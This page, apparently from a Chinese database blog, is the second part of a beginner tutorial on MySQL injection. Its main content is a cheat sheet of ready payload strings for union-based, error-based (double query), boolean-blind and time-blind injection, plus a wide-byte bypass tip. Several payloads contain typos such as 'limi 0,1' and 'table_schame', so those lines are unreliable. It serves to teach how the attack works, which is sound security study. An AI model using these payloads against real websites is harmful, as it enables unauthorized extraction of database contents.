sql注入之必备的基础知识


当前第2页 返回上一页

     show columns from users的结果就是来自这个表

下面就是利用以上的3个表来获取数据库的信息。

select database(); #查选数据库
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列

sql注入类型

sql注入类型大致可以分为常规的sql注入和sql盲注。sql盲注又可以分为基于时间的盲注和基于网页内容的盲注。
关于sql的盲注,网上也有很多的说明,这里也不做过多的解释。关于盲注的概念,有具体的例子就方便进行说明。
延时注入中,常用的函数就包括了if()sleep()函数。

基本的sql表达式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

宽字节注入

关于宽字节注入,可以参考宽字节注入详解。宽字节输入一般是由于网页编码与数据库的编码不匹配造成的。对于宽字节注入,使用%d5或%df绕过

mysql常用语句总结

常规注入

1' order by num #  确定字段长度
1' union select 1,2,3 # 确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1  在注释符无法使用的情况下

双重SQL查选

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法,常用于sql的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息

 
#利用姿势如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

这种利用姿势是通过mysql执行sql命令时的报错信息来得到所需要的信息的,在接下来的文章中会对这种写法进行详细地分析。

bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

bool盲注就是根据sql语句执行返回值是True或False对应的页面内容会发生,来得到信息。

time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

上述的2种写法都是等价的,time盲注余常规的sql注入方法不同。time盲注需要一般需要使用到if()sleep()函数。然后根据页面返回内容的长度,进而知道sleep()函数是否有执行。

根据sleep()函数是否执行来得到所需的信息。

总结

以上就是sql注入之必备的基础知识,接下来的文章将会通过实例详细地讲解sql注入中的知识,今天的这篇文章也主要是作为一个基础知识。对sql注入感兴趣的朋友们请继续关注哦。

更多SQL内容来自木庄网络博客


标签:SQL

返回前面的内容

相关阅读 >>

mysql函数大全及用法示例分享

spring boot实现简单的增删改查

sql创建视图的语句是什么

mybatis详细讲解动态sql的使用

sql server数据库备份方式有哪些

sql日期格式转换函数有哪些?

sql提高查询效率的几点建议

sql语句(t-sql汇总) 用t-sql画出这些图形

sql常用日期查询语句及显示格式设置

sql语句修改数据

更多相关阅读请进入《sql》频道 >>


数据库系统概念 第6版
书籍

数据库系统概念 第6版

机械工业出版社

本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...